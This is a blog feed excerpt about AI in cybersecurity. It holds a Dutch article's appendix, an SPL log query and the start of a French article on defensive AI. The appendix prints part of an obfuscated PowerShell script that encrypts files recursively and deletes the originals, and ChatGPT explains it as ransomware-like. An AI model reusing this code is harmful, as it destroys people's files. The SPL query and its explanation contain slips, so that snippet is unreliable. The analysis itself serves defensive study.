#795e00;">.TransformFinalBlock</span>($input, 0, $input.Length)</code><br /><code>        <span style="color: #001080;">$encryptedBytes</span> = <span style="color: #001080;">$sha2</span><span style="color: #795e00;">.IV</span> + <span style="color: #001080;">$encryptedBytes</span></code><br /><code>        <span style="color: #001080;">$sha2</span><span style="color: #795e00;">.Dispose</span>()</code><br /><code>       </code><br /><code>        <span style="color: #001080;">$e</span> = <span style="color: #001080;">$output</span></code><br /><code>        <span style="color: #001080;">$encD</span> = <span style="color: #001080;">$encryptedBytes</span></code><br /><code>        <span style="color: #001080;">$dynCmd</span> = [<span style="color: #0000ff;">System.Text.Encoding</span>]::UTF8.GetString([<span style="color: #0000ff;">Convert</span>]::FromBase64String(<span style="color: #a31515;">"W1N5c3RlbS5JTy5GaWxlXTo6V3JpdGVBbGxCeXRlcygkZSwgJGVuY0Qp"</span>))</code><br /><code>        <span style="color: #795e00;">Invoke-Expression</span> <span style="color: #001080;">$dynCmd</span></code><br /><code>        (<span style="color: #795e00;">Get-Item</span> <span style="color: #001080;">$output</span>).LastWriteTime = $object2<span style="color: #795e00;">.LastWriteTime</span></code><br /><code>        <span style="color: #001080;">$f</span> = <span style="color: #001080;">$object2</span></code><br /><code>        <span style="color: #001080;">$dynCmd</span> = [<span style="color: #0000ff;">System.Text.Encoding</span>]::UTF8.GetString([<span style="color: #0000ff;">Convert</span>]::FromBase64String(<span style="color: #a31515;">"UmVtb3ZlLUl0ZW0gLVBhdGgg"</span>)) + <span style="color: #a31515;">"'</span><span style="color: #001080;">$f<span style="color: #a31515;">'"</span></span></code><br /><code>        <span style="color: #795e00;">Invoke-Expression</span> <span style="color: #001080;">$dynCmd</span></code><br /><code>        <span style="color: #af00db;">return</span> <span style="color: #a31515;">"Sortie:</span> <span style="color: #001080;">$output</span><span style="color: #a31515;">"</span>        </code><br /><code>    }</code><br /><code>    <span style="color: #af00db;">End</span> {</code><br /><code>        <span style="color: #001080;">$sha1</span><span style="color: #795e00;">.Dispose</span>()</code><br /><code>        <span style="color: #001080;">$sha2</span><span style="color: #795e00;">.Dispose</span>()</code><br /><code>    }</code><br /><code>}</code><br /><br /><code><span style="color: #001080;">$dynCmd</span> = [<span style="color: #0000ff;">System.Text.Encoding</span>]::UTF8.GetString([<span style="color: #0000ff;">Convert</span>]::FromBase64String(<span style="color: #a31515;">"R2V0LUNoaWxkSXRlbSAtUGF0aCAiQzpcTG9jYWxcY2hhdF9ncHRfcHNcdGVzdCIgLUZpbGUgLVJlY3Vyc2U="</span>))<br /></code><br /><code><span style="color: #795e00;">Invoke-Expression</span> <span style="color: #001080;">$dynCmd</span> | <span style="color: #795e00;">ForEach-Object</span> {</code><br /><code>    <span style="color: #001080;">$object</span> = <span style="color: #001080;">$_</span><span style="color: #795e00;">.FullName</span></code><br /><code>    Compute_SHA256 -salt <span style="color: #a31515;">"salty"</span> -object <span style="color: #001080;">$object</span></code><br /><code>}</code></pre>
</div>
<h2 class="wp-block-heading">Antwoord van ChatGPT</h2>
<p class="wp-block-paragraph">Deze PowerShell-scriptfunctie, <strong>Compute_SHA256</strong>, lijkt de functionaliteit te hebben om bestanden op een bepaalde locatie te versleutelen met SHA256 en AES encryptie, en vervolgens de originele bestanden te verwijderen. Hier is een uitleg van de verschillende onderdelen van de functie:</p>
<ol class="wp-block-list">
<li><strong>Functieparameters</strong>: De functie vereist twee parameters: salt, een zoutwaarde die gebruikt wordt voor hashing, en object, een pad naar een bestand dat verwerkt moet worden.</li>
<li><strong>Initialisatie</strong>:
<ul class="wp-block-list">
<li>New-Object byte[] 16: Een array van 16 bytes wordt gecreëerd voor gebruik als initialisatievector (IV).</li>
<li>SHA256Managed: Een instance van SHA256 wordt gecreëerd voor hashing.</li>
<li>AesManaged: Een instance van AES wordt geïnitialiseerd met CBC-modus, padding op &#8216;Zeros&#8217;, een blokgrootte van 128 bits en een sleutellengte van 256 bits.</li>
<li>De IV wordt ingesteld met random bytes.</li>
</ul>
</li>
<li><strong>Verwerkingslogica</strong>:
<ul class="wp-block-list">
<li>De AES sleutel wordt ingesteld door de SHA256 hash van het zout.</li>
<li>Invoke-Expression: Wordt gebruikt om dynamisch commando&#8217;s uit te voeren die uit base64-gedecodeerde strings komen. Deze commando&#8217;s zijn:
<ul class="wp-block-list">
<li>Get-Item: Haalt het bestand op dat verwerkt moet worden.</li>
<li>ReadAllBytes: Leest alle bytes van het opgehaalde bestand.</li>
<li>WriteAllBytes: Schrijft de versleutelde bytes terug naar het bestand met een nieuwe extensie &#8220;.xxx&#8221;.</li>
<li>Remove-Item: Verwijdert het oorspronkelijke bestand.</li>
</ul>
</li>
<li>De bestandsnaam van het verwerkte object wordt gebruikt om de outputbestandsnaam op te stellen door er &#8220;.xxx&#8221; aan toe te voegen.</li>
<li>De bytes van het bestand worden versleuteld met de vooraf geconfigureerde AES-instellingen.</li>
<li>De lastige schrijf- en verwijdercommando&#8217;s zijn ingebouwd in de dynamische commando&#8217;s die uitgevoerd worden via Invoke-Expression.</li>
</ul>
</li>
<li><strong>Opschoning</strong>: Aan het einde van de functie worden de Dispose methoden aangeroepen op de hash- en encryptie-instanties om systeembronnen vrij te maken.</li>
<li><strong>Scriptuitvoering</strong>: Het script aan het eind haalt alle bestanden recursief op vanaf een bepaald pad en past de Compute_SHA256 functie toe op elk bestand met het zout &#8216;salty&#8217;.</li>
</ol>
<p class="wp-block-paragraph">Deze code kan potentieel schadelijk zijn als deze zonder toezicht in een productieomgeving wordt uitgevoerd, omdat het effectief bestanden versleutelt en vervolgens de originelen verwijdert. Het lijkt op ransomware-achtig gedrag, afhankelijk van het daadwerkelijke gebruik en de intentie. Gebruik en implementatie van dergelijke scripts moet met uiterste voorzichtigheid gebeuren.</p>
<h2 class="wp-block-heading">Aanvullende vraag</h2>
<p class="wp-block-paragraph">Waar zie je dat de originele bestanden worden verwijderd?</p>
<h2 class="wp-block-heading">Beantwoord door ChatGPT 4.0</h2>
<p class="wp-block-paragraph">De originele bestanden worden verwijderd in het script door het volgende gedeelte van de code in de Process blok:</p>
<pre>$f = $object2 $dynCmd = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("UmVtb3ZlLUl0ZW0gLVBhdGgg")) + "'$f'" Invoke-Expression $dynCmd</pre>
<p class="wp-block-paragraph">Hier is wat er gebeurt in deze code:</p>
<ol class="wp-block-list">
<li><strong>Opslaan van het bestandsobject</strong>:<code> $f = $object2</code> slaat het bestandsobject op in <code>$f</code>. Dit object bevat de eigenschappen van het bestand dat verwerkt wordt, inclusief het volledige pad.</li>
<li><strong>Genereren van het verwijdercommando</strong>:
<ul class="wp-block-list">
<li><code>[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("UmVtb3ZlLUl0ZW0gLVBhdGgg"))</code> decodeert een base64-encoded string die vertaald wordt naar &#8220;Remove-Item -Path &#8220;.</li>
<li>Dit wordt dan samengevoegd met &#8216;<code>$f</code>&#8216; (het pad van het bestand) om het complete PowerShell-commando te vormen dat het bestand zal verwijderen.</li>
</ul>
</li>
<li><strong>Uitvoeren van het verwijdercommando</strong>: Invoke-Expression $dynCmd voert het samengestelde commando dynamisch uit, wat leidt tot het verwijderen van het bestand op het pad dat in $f is opgeslagen.</li>
</ol>
<p class="wp-block-paragraph">Dit gedeelte van het script zorgt er dus voor dat na de versleuteling van het bestand, het originele bestand van de schijf wordt verwijderd. Dit gedrag is typisch voor scripts die gebruikt worden in data-archivering of beveiliging, maar kan ook schadelijk zijn indien misbruikt.</p>
<h1 class="wp-block-heading">Bijlage 2 – Analysescriptgeneratie</h1>
<p class="wp-block-paragraph">Voorbeeld van het genereren van een zeer eenvoudig event log analysescript in Splunk&#8217;s SPL taal.</p>
<h2 class="wp-block-heading">Vraag</h2>
<p class="wp-block-paragraph">Schrijf een Splunk script dat entries filtert waarvan het IP bronadres niet gereserveerd is en niet in België ligt en waarvan de bestemming een klasse A IP is dat begint met 10.</p>
<h2 class="wp-block-heading">Antwoord</h2>
<p class="wp-block-paragraph">Om een Splunk zoekopdracht te schrijven die log entries filtert gebaseerd op IP-adres criteria met een specifieke geografische locatie (België), plus de eerder genoemde IP-voorwaarden, heb je aanvullende informatie over de geolocatie van IP-adressen nodig. Als je Splunk omgeving ingesteld is om IP-geolocatie te ondersteunen (vaak via een geolocatie lookup tabel of externe integratie), kunnen we een effectieve zoekopdracht schrijven die de geolocatie data integreert.</p>
<p class="wp-block-paragraph">Hieronder vind je een voorbeeld van hoe zo&#8217;n zoekopdracht eruit zou kunnen zien. Deze zoekopdracht veronderstelt dat er velden zijn zoals src_ip voor het bron-IP-adres, dest_ip voor het bestemmings-IP-adres, en een veld (bijvoorbeeld src_country) dat het land van het bron-IP aangeeft. Je moet misschien de veldnamen aanpassen afhankelijk van jouw specifieke Splunk setup.</p>
<pre>index=&lt;jouw_index_naam&gt; sourcetype=&lt;jouw_sourcetype&gt; | iplocation src_ip | eval reserved_ip_list="10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,127.0.0.0/8,169.254.0.0/16" | where NOT match(cidrmatch(reserved_ip_list, src_ip)) AND NOT src_country="Belgium" | where match(cidrmatch("10.0.0.0/8", dest_ip)) | table _time, src_ip, dest_ip, src_country, other_relevant_fields</pre>
<p class="wp-block-paragraph">Uitleg van de Query</p>
<ol class="wp-block-list">
<li><strong>Index en Sourcetype</strong>: Specificeer je index en sourcetype die relevant zijn voor je data.</li>
<li><strong>IP Geolocatie</strong>: De iplocation commando voegt geolocatie-informatie toe aan elk event gebaseerd op het src_ip. Dit voegt velden zoals Country, City, etc., toe, afhankelijk van de nauwkeurigheid en de instellingen van je geolocatie database.</li>
<li><strong>Reserve IP-adressen</strong>: De lijst van gereserveerde IP-adressen wordt gedefinieerd en gebruikt om te controleren of het src_ip niet binnen deze gereserveerde ranges valt.</li>
<li><strong>Filter op Niet-Gereserveerde en Niet-Belgische Bron-IP&#8217;s</strong>: De where clausule wordt gebruikt om events te filteren waarbij het bron-IP-adres niet in de gereserveerde reeksen valt en niet uit België komt (src_country zou aangepast moeten worden aan jouw geolocatie veldnaam).</li>
<li><strong>Filter op Klasse A Bestemmings-IP&#8217;s</strong>: Een tweede where clausule filtert op bestemmings-IP&#8217;s die beginnen met .</li>
<li><strong>Resultatenweergave</strong>: De table commando geeft de resultaten weer in een tabelvorm met relevante velden zoals tijd, bron- en bestemmings-IP, land van het bron-IP en andere velden die belangrijk kunnen zijn voor je analyse.</li>
</ol>
<p class="wp-block-paragraph">Deze zoekopdracht biedt een effectieve manier om netwerkverkeer te monitoren met een focus op specifieke geografische en netwerkcriteria. Afhankelijk van de exacte vereisten, kun je meer specifieke filters of analyses toevoegen, zoals statistieken over verkeersvolumes of gedetailleerde onderzoeken naar bepaalde soorten verkeer.</p>
<h1 class="wp-block-heading">Notes</h1>
<p class="wp-block-paragraph"><a href="#_ftnref1" name="_ftn1"><sup>1</sup></a>   <a href="https://cordis.europa.eu/project/id/700692" target="_blank" rel="noopener">https://cordis.europa.eu/project/id/700692</a></p>
<p class="wp-block-paragraph"><a href="#_ftnref2" name="_ftn2"><sup>2</sup></a>   Uit een systematische analyse van publicaties over het gebruik van AI voor OSINT blijkt dat cybersecurity bijna de helft van de onderzochte publicaties[7] uitmaakt.</p>
<p class="wp-block-paragraph"><a href="#_ftnref3" name="_ftn3"><sup>3</sup></a>   De auteurs geven een recall aan van 90%. In het algemeen wordt recall gedefinieerd door het aantal gevonden relevante documenten in verhouding tot het aantal relevante documenten in de database.</p>
<p class="wp-block-paragraph"><a href="#_ftnref4" name="_ftn4"></a> <a href="#_ref4">[4]</a> Het model maakt gebruik van statistieken om afwijkingen te detecteren (eenvoudig statistisch model, Markovketen en tijdreeksen).</p>
<p class="wp-block-paragraph"><a href="#_ftnref5" name="_ftn5"><sup>5</sup></a>   <a href="https://www.cloudflare.com/fr-fr/learning/security/glossary/what-is-lateral-movement/" target="_blank" rel="noopener">https://www.cloudflare.com/fr-fr/learning/security/glossary/what-is-lateral-movement/</a></p>
<p class="wp-block-paragraph"><a href="#_ftnref6" name="_ftn6"><sup>6</sup></a>   <a href="https://github.com/GreyDGL/PentestGPT" target="_blank" rel="noopener">https://github.com/GreyDGL/PentestGPT</a></p>
<p class="wp-block-paragraph"><a href="#_ftnref7" name="_ftn7"><sup>7</sup></a>   <a href="https://www.hackthebox.com/" target="_blank" rel="noopener">https://www.hackthebox.com/</a></p>
<p class="wp-block-paragraph"><a href="#_ftnref8" name="_ftn8"><sup>8</sup></a>   Stel dat in een log van een miljoen gebeurtenissen wordt geschat dat er 100 gebeurtenissen zijn die echt overeenkomen met een inbraak. Laten we ook veronderstellen dat een fabrikant ons een inbraakdetectiesysteem verkoopt met een gevoeligheid van 99,9%, d.w.z. een percentage van 0,1% fout-negatieve events die overeenkomen met echte inbraken, en met een specificiteit van ook 99,9%, d.w.z. een percentage van 0,1% fout-positieve events die niet overeenkomen met inbraken. Als de software van de fabrikant een alert signaleert, wat is dan de waarschijnlijkheid dat dit daadwerkelijk overeenkomt met een inbraak?</p>
<p class="wp-block-paragraph">Instinctief zouden velen zeggen “99,9%”. Echter, als we <em><strong>I</strong></em> aantonen, de willekeurige variabele die overeenkomt met een inbraak, en de willekeurige variabele <em><strong>A</strong></em> met betrekking tot een alert, kunnen we de bovenstaande hypothesen als volgt herschrijven: Als <em><strong>P</strong></em>(<em><strong>I</strong></em>)=100/1.000.000, <em><strong>P</strong></em>(<em><strong>A</strong></em>│<em><strong>I</strong></em>)=0,999, en <em><strong>P</strong></em>(¬<em><strong>A</strong></em>│¬<em><strong>I</strong></em>)=0,999, wat is dan de waarde van <em><strong>P</strong></em>(<em><strong>I</strong></em>|<em><strong>A</strong></em>)? Het theorema van Bayes geeft ons: <em><strong>P</strong></em>(<em><strong>I</strong></em>│<em><strong>A</strong></em>)=<em><strong>P</strong></em>(<em><strong>I</strong></em>)⋅<em><strong>P</strong></em>(<em><strong>A</strong></em>|<em><strong>I</strong></em>)/<em><strong>P</strong></em>(<em><strong>A</strong></em>) met <em><strong>P</strong></em>(<em><strong>A</strong></em>)=<em><strong>P</strong></em>(<em><strong>I</strong></em>)⋅<em><strong>P</strong></em>(<em><strong>A</strong></em>│<em><strong>I</strong></em>)+<em><strong>P</strong></em>(¬<em><strong>I</strong></em>)⋅<em><strong>P</strong></em>(<em><strong>A</strong></em>|¬<em><strong>I</strong></em>) en <em><strong>P</strong></em>(<em><strong>A</strong></em>│¬<em><strong>I</strong></em>)=1−<em><strong>P</strong></em>(¬<em><strong>A</strong></em>│¬<em><strong>I</strong></em>)=0,001. Dit leidt tot een kans van 9,08% dat de gegeven alert daadwerkelijk een inbraak is, niet 99,9%!</p>
<p class="wp-block-paragraph"><a href="#_ftnref9" name="_ftn9"><sup>9</sup></a>   Een niet-parametrische methode voor het schatten van de kansdichtheid van een willekeurige variabele</p>
<p class="wp-block-paragraph"><a href="#_ftnref10" name="_ftn10"><sup>10</sup></a> <a href="https://www.paloaltonetworks.com/blog/security-operations/using-chatgpt-in-cortex-xsoar/" target="_blank" rel="noopener">https://www.paloaltonetworks.com/blog/security-operations/using-chatgpt-in-cortex-xsoar/</a></p>
<p class="wp-block-paragraph"><a href="#_ftnref11" name="_ftn11"><sup>11</sup></a> <a href="https://falconllm.tii.ae/" target="_blank" rel="noopener">https://falconllm.tii.ae/</a></p>
<p class="wp-block-paragraph">_________________________<br data-rich-text-line-break="true" /><em>Dit is een ingezonden bijdrage van Fabien A. P. Petitcolas, IT-beveiligingsspecialist bij Smals Research. Dit artikel werd geschreven in eigen naam en neemt geen standpunt in namens Smals.</em></p>

]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>L&#8217;IA défensive</title>
		<link>https://www.smalsresearch.be/lia-defensive/</link>
		
		<dc:creator><![CDATA[Fabien A. P. Petitcolas]]></dc:creator>
		<pubDate>Mon, 06 May 2024 09:00:00 +0000</pubDate>
				<category><![CDATA[[FR]]]></category>
		<category><![CDATA[Blog post]]></category>
		<category><![CDATA[Cybersecurity]]></category>
		<category><![CDATA[Machine Learning]]></category>
		<category><![CDATA[Security]]></category>
		<guid isPermaLink="false">/?p=20459</guid>

					<description><![CDATA[Dans le dernier article de cette série, après quelques considérations générales, nous passons en revue des domaines de la cyber-défense tirant partie ou pouvant tirer parti de l’IA tels que le renseignement sur les cyber-attaques, la détection et l’identification de cyber-attaques, ou encore la réponse à des incidents de cybersécurité.]]></description>
										<content:encoded><![CDATA[<p><em><a href="/defensieve-ai/">Nederlandstalige versie</a></em></p>
<p>Dans un <a href="/lia-en-cybersecurite/">premier article</a>, nous avons brièvement expliqué ce qui se cache derrière le terme « d’intelligence artificielle (IA) » en décrivant quelques techniques de base utilisées en cybersécurité. Dans un <a href="/lia-offensive/">deuxième article</a>, nous avons traité de l’utilisation de l’IA pour faciliter les attaques contre des systèmes informatiques. En particulier, nous avons détaillé comment l’IA pourrait modifier ou modifie déjà plusieurs vecteurs d’attaques.</p>
<p>Dans le dernier article de cette série, après quelques considérations générales, nous passons en revue des domaines de la cyber-défense tirant parti ou pouvant tirer parti de l’IA tels que le renseignement sur les cyber-attaques, la détection et l’identification de cyber-attaques, ou encore la réponse à des incidents de cybersécurité.</p>
<h1>Introduction</h1>
<p>Dès 2018, Schneier <a href="#_ref1">[1]</a> estimait que la cyber-défense allait bénéficier d’avantage des techniques d’IA que la cyber-offensive, car selon lui, la défense était dans une moins bonne position que l’attaque, précisément à cause de ses importants composants humains. De plus il prédisait que les adversaires allaient continuer d’améliorer leur stratégie d’attaque grâce à l’automatisation, de sorte que le seul moyen efficace d’atténuer ces attaques à la vitesse de la machine serait l’automatisation. C’est une thèse également défendue par Sarker et al. <a href="#_ref2">[2]</a> qui soutiennent que l’IA pourrait révolutionner le domaine de la cybersécurité, en offrant non seulement une <em>automatisation</em> des tâches à grande échelle, mais aussi en <em>aidant les experts humains</em> à mieux comprendre une situation et à prendre des décisions dans des scénarios réels.</p>
<p>La société Gartner s’attend quant à elle, à ce que l’IA contribue à une réduction de 30% du taux de faux positifs dans les tests d’applications et la détection de menaces avant 2027 <a href="#_ref3">[3]</a>. Les nouveaux outils récemment annoncés par des entreprises importantes du marché, dont CrowdStrike, pourraient en effet, selon Gartner aider à améliorer la productivité et les compétences des administrateurs. Les idées ne manquent pas, mais comme le soulignent les auteurs de la note de la société de conseil, les fonctionnalités de recherche et d’analyse existent déjà et la nouveauté réside essentiellement dans l’interactivité entre les analystes humains et la machine.</p>
<p>Taddeo et al. <a href="#_ref4">[4]</a> temporisent l’engouement pour l’IA dans la cyber-défense en faisant remarquer que placer sa <em>confiance</em> dans l’IA pour la robustesse, la résilience et la réponse des systèmes de cybersécurité n’est pas méritée et insistent qu’une forme de contrôle est nécessaire pour réduire les risques de sécurité. Les auteurs utilisent le terme de <em>confiance</em> dans son terme le plus pur&nbsp;: une décision de déléguer, sans forme de contrôle ou de surveillance, une acceptation d’un risque de dépendance. Ils pointent le manque de transparence de l’IA et l’évolution d’un système d’IA dans le temps comme des limites importantes et recommandent notamment une mise en œuvre « maison » pour les infrastructures nationales critiques et une surveillance permanente du système d’IA et de son évolution.</p>
<p>Dasgupta et al. <a href="#_ref5">[5]</a> ont passé en revue la plupart des publications récentes utilisant l’IA dans le domaine de la cybersécurité. Un point crucial reste selon eux la performance (en termes de vitesse de réaction, mais également de réduction du taux de faux-positifs et faux-négatifs) des outils de détection qui peut avoir des conséquences importantes sur le système où ils sont déployés.</p>
<p>Dans les sections suivantes nous regardons plus en détails différents domaines de la cyber-défense pouvant tirer parti de l’IA.</p>
<h1>Renseignement sur les cyber-attaques</h1>
<p>Le renseignement sur les cyber-menaces est le processus de collecte, d’analyse et de diffusion d’informations sur les cyber-menaces actuelles et émergentes, telles que les acteurs, les cibles, les techniques, les outils, etc. Ces renseignements peuvent aider les organisations à se défendre de manière proactive contre les cyber-attaques en fournissant des informations exploitables et opportunes aux équipes de sécurité.</p>
<p>De nos jours, le renseignement d’origine de sources ouvertes (ROSO – « <em>Open-Source Intelligence (OSINT)</em> ») est largement adopté par les gouvernements et les services de renseignement pour mener leurs enquêtes et lutter contre la cyber-criminalité <a href="#_ref6">[6]</a>. Le projet européen DiSIEM<a href="#_ftn1" name="_ftnref1"><sup>1</sup></a> avait pour premier objectif l’intégration de diverses sources de données ROSO dans les systèmes de gestion des informations et événements de sécurité (« <em>Security Information and Event Management (SIEM)</em> ») pour aider à réagir aux vulnérabilités récemment découvertes dans l’infrastructure ou même à prédire d’éventuelles menaces émergentes<a href="#_ftn2" name="_ftnref2"><sup>2</sup></a>.</p>
<p>En principe un modèle de langage massif (« <em>Large Language Models (LLM) </em>») entraîné sur de larges sources de données comme les forums web, les sites spécialisés sur les vulnérabilités et incidents, ou les réseaux sociaux, pourrait être utilisé afin de générer des rapports de renseignement sur les cyber-menaces. Les LLM pourraient donc être utilisés pour accéder plus rapidement à de la documentation technique, des renseignements d’intelligence provenant de sources spécialisées. Par exemple Sewak et al. <a href="#_ref8">[8]</a> affirment que les LLM peuvent automatiquement extraire, valider et résumer des informations provenant de diverses sources, telles que des rapports de menaces, de la littérature, des scripts, etc. Ils montrent notamment comment les LLM peuvent identifier les intentions malveillantes dans des scripts. Leur approche permettrait de découvrir plus de 90%<a href="#_ftn3" name="_ftnref3"><sup>3</sup></a> des scripts effectivement malveillants dans une tâche de détection.</p>
<h1>Détection et identification de cyber-attaques</h1>
<p>L’IA peut jouer un rôle dans la détection et l’identification des cyber-attaques en améliorant les systèmes de détection d’intrusions et de logiciels malveillants et en permettant de mieux gérer les alertes.</p>
<h2>Détection d’intrusions</h2>
<p>Selon le NIST <a href="#_ref9">[9]</a>, un système de détection d’intrusions (IDS) se réfère au « <em>processus de surveiller les événements se produisant dans un système informatique ou un réseau et de les analyser pour des signes d’incidents possibles</em>. » Bien que les premiers développements de tels systèmes se soient concentrés sur des approches par signature, en 1986, Denning publiait un modèle d’IDS <a href="#_ref10">[10]</a> basé sur la détection d’anomalies<a href="#_ftn4" name="_ftnref4"><sup>4</sup></a> qui constitue encore aujourd’hui la base de nombreux systèmes. L’avantage principal des méthodes basées sur la détection d’anomalies est que celles-ci peuvent détecter des types d’incidents qui n’ont pas déjà été vus. Aujourd’hui ce sont les méthodes d’apprentissage automatiques non-supervisées qui sont couramment utilisées pour la détection d’anomalies&nbsp;: l’activité sur le réseau est comparée avec une ligne de base pré-entraînée et normalisée qui présente le comportement normal, ce qui permet au système de détecter des activités malveillantes inconnues, contrairement aux méthodes par signature.</p>
<p>Une approche est d’entraîner un réseau de neurones artificiels à apprendre si un trafic réseau est normal ou correspond à une classe d’attaques. En pratique cela demande les étapes suivantes&nbsp;:</p>
<ol>
<li>Un expert collecte un ensemble de données contenant à la fois le trafic normal du réseau de communication et des attaques.</li>
<li>Sur une machine très puissante, un réseau de neurones est entraîné à classer la différence entre le trafic normal et le trafic d’attaque.</li>
<li>Une copie du modèle appris lors de l’étape précédente est transférée sur le système opérationnel de détection d’intrusion de l’organisation.</li>
<li>Le système de détection d’intrusions applique le modèle sur le trafic réseau observé.</li>
</ol>
<p>Les choix de méthodes d’apprentissage sont nombreux, mais selon Appruzzese et al. <a href="#_ref11">[11]</a>, les méthodes d’apprentissage non-supervisé sont particulièrement appréciées pour les systèmes de détection d’intrusion sur les réseaux de communication en raison de la difficulté et du coût d’obtenir des données étiquetées. Par ailleurs, selon ces auteurs, la supériorité des réseaux d’apprentissage profonds pour la détection d’intrusions, par rapport à d’autres techniques d’IA, n’est pas prouvée et la complexité et le coût de calcul supplémentaire ne justifient pas nécessairement leur adoption.</p>
<p>Voici quelques exemples d’utilisation de techniques non-supervisées utilisées pour la détection d’intrusions&nbsp;:</p>
<ul>
<li>Bohara et al. <a href="#_ref12">[12]</a> utilisent plusieurs techniques de détection d’anomalies et notamment l’analyse en composantes principales (« <em>Principal Component Analysis (PCA)</em>»), le partitionnement en <em>k</em>-moyennes, et la détection de valeurs aberrantes basée sur l’écart absolu médian afin de détecter des mouvements latéraux<a href="#_ftn5" name="_ftnref5"><sup>5</sup></a> sur un réseau. Ces auteurs atteignent un taux de vrais positifs (TPR) de 88.7% et un taux de faux positifs (FPR) de 14.1%.</li>
<li>Dans <a href="#_ref13">[13]</a>, les auteurs présentent une méthode pour générer automatiquement une liste grise d’hôtes externes qui ont une probabilité élevée d’être impliqués dans des activités de balisage malveillant par rapport à l’ensemble de tous les hôtes externes habituellement contactés par l’organisation protégée. Leur proposition s’appuie sur des techniques de regroupement appliquées aux flux de réseaux.</li>
<li>Afin d’adresser le problème de déséquilibre entre le nombre d’échantillons positifs et négatifs dans les journaux d’intrusion (très peu de trafic malveillant par rapport au trafic légitime), Yang et al. <a href="#_ref14">[14]</a> utilisent un réseau antagoniste génératif convolutif profond (« <em>Deep Convolutional Generative Adversarial Network (DCGAN) </em>») afin de construire un système de détection d’intrusion en temps réel. Le DCGAN maintient un équilibre entre échantillons positifs et négatifs en générant de nouvelles données synthétiques. Afin de permettre l’analyse en temp réel, les auteurs utilisent des unités récurrentes fermées (« <em>Gates Recurrent Units (GRU) </em>»), qui sont plus efficaces qu’un réseau récurrent à mémoire court et long terme (LSTM) car utilisant moins de paramètres. Le système atteint une exactitude de 99,73%.</li>
</ul>
<p>Enfin, les outils basés sur les modèles massifs de langage ont aussi commencé à faire leur apparition dans la détection d’intrusion. Par exemple, l’outil PentestGPT<a href="#_ftn6" name="_ftnref6"><sup>6</sup></a> est un outil de tests d’intrusions optimisés par des LLM (en l’occurrence ChatGPT-4) et permet l’automatisation du processus de test d’intrusion en guidant les testeurs dans l’opération globale et les opérations spécifiques. PentestGPT a été testé avec succès sur « <em>HackTheBox</em><a href="#_ftn7" name="_ftnref7"><sup>7</sup></a> » et à travers diverses compétitions de capture de drapeau (« <em>Capture the Flag (CTF)</em> ») de niveau facile ou moyen.</p>
<h2>Détection de logiciels malveillants</h2>
<p>L’apprentissage automatique peut être utilisé à la fois pour l’analyse statique et l’analyse dynamique des logiciels malveillants. Cependant l’analyse statique est sujette à des contournements relativement simples en modifiant l’exécutable sans changer la logique sous-jacente ou avec des variantes plus avancées (p. ex. polymorphisme) modifiant l’exécutable de manière automatique.</p>
<p>Les analyses dynamiques combinées avec un apprentissage automatique s’avèrent plus efficaces <a href="#_ref11">[11]</a>. Mais il existe plusieurs limites à l’applicabilité des dernières avancées universitaires dans le domaine de l’apprentissage automatique à la détection de logiciels malveillants <a href="#_ref15">[15]</a>, notamment :</p>
<ul>
<li>Mauvaise interprétation de la mesure de performance, en partie due à l’oubli de la fréquence de base – un biais cognitif lié aux lois statistiques<a href="#_ftn8" name="_ftnref8"><sup>8</sup></a>;</li>
<li>Les bases de données de tests sont souvent vieilles de plusieurs années et ne tiennent donc pas compte des nouvelles méthodes de contournement mises en œuvre par les adversaires, ni des nouvelles interfaces de programmation applicatives disponibles. Selon [16], un grand nombre de travaux récents concernant l’apprentissage fédéré pour la détection d’intrusions, utilisent encore des bases de données publiques créée avant 2017, et donc avec des attaques ne reflétant pas nécessairement les réseaux de communication actuels.</li>
</ul>
<h2>Gestion des alertes</h2>
<p>Le triage des alertes de sécurité est une tâche qui demande relativement beaucoup de temps, mais qui peut être accélérée en mettant des informations contextuelles à disposition des analystes afin que ceux-ci n’aient pas à passer d’un outil de journalisation ou d’analyse à l’autre afin de comprendre ce qui se passe. Par exemple : géolocalisation d’une adresse IP, nom de l’organisation contrôlant l’IP, âge du domaine, réputation d’une valeur de hachage d’un fichier, type de fichier correspondant, copie d’écran automatique d’une URL, informations sur l’hôte et son environnement, etc. Ces alertes pourraient aussi être enrichies directement par un LLM (p. ex. catégorisation, information issue des services de renseignement spécialisés, score de risque).</p>
<p>De plus des techniques d’apprentissage automatique peuvent être utilisées pour le filtrage, le triage, la priorisation et l’agrégation d’alertes, afin de faciliter le triage et la réponse aux incidents. Par exemple Su et al. <a href="#_ref17">[17]</a> proposent une méthode pour automatiser le filtrage des faux positifs en utilisant une estimation par noyau<a href="#_ftn9" name="_ftnref9"><sup>9</sup></a> (« <em>Kernel density estimation (KDE)</em> »). Selon les auteurs, celle-ci réduit jusqu’à 75% le temps nécessaire pour la vérification des alertes.</p>
<h1>Réponse à des incidents de cybersécurité</h1>
<p>La réponse aux incidents est un élément clé de la stratégie de cybersécurité d’une organisation. Une réponse bien orchestrée peut contribuer à atténuer les dommages causés par une violation de la sécurité ou une cyber-attaque. Cependant, la rapidité et la précision de ces réponses sont primordiales. Les LLM peuvent contribuer à accélérer et à rationaliser ces processus, en fournissant des réponses automatisées et même en aidant à élaborer des plans d’intervention en cas d’incident. L’une des caractéristiques de l’architecture de ces LLM est leur capacité à générer du texte naturel, basé sur le contexte. Elle peut être exploitée pour créer un assistant de réponse aux incidents alimenté par l’IA, capable de fournir des conseils immédiats pendant un incident et de documenter automatiquement les événements au fur et à mesure qu’ils se déroulent. Par exemple, PaloAlto XSOAR<a href="#_ftn10" name="_ftnref10"><sup>10</sup></a> utilise ChatGPT pour générer des guides permettant de gérer certaines attaques (voir Figure 1).</p>
<table class=" aligncenter" style="width: 80%; background-color: #a0a0a0; border-style: solid;" cellpadding="5">
<tbody>
<tr>
<td style="width: 655.33px;">
<p>Dear Analyst,</p>
<p>The following is an analysis for Incident No. #3332 by ChatGPT:</p>
<p><strong>1- Analysis (Incident Description):</strong></p>
<p>On Tuesday 2023-May-09 at 12:46:03 PM, a workstation with the hostname &#8220;testlab&#8221; was compromised through the MitreAttack technique of OS Credential Dumping by the Poseidon Group. The indicator of compromise, 31ebide7840a342fd468e558e5ab627bcb4c542a8fe01aec4d5ba01d539aOfc, has a malicious reputation.</p>
<p><strong>2- Impact Analysis:</strong></p>
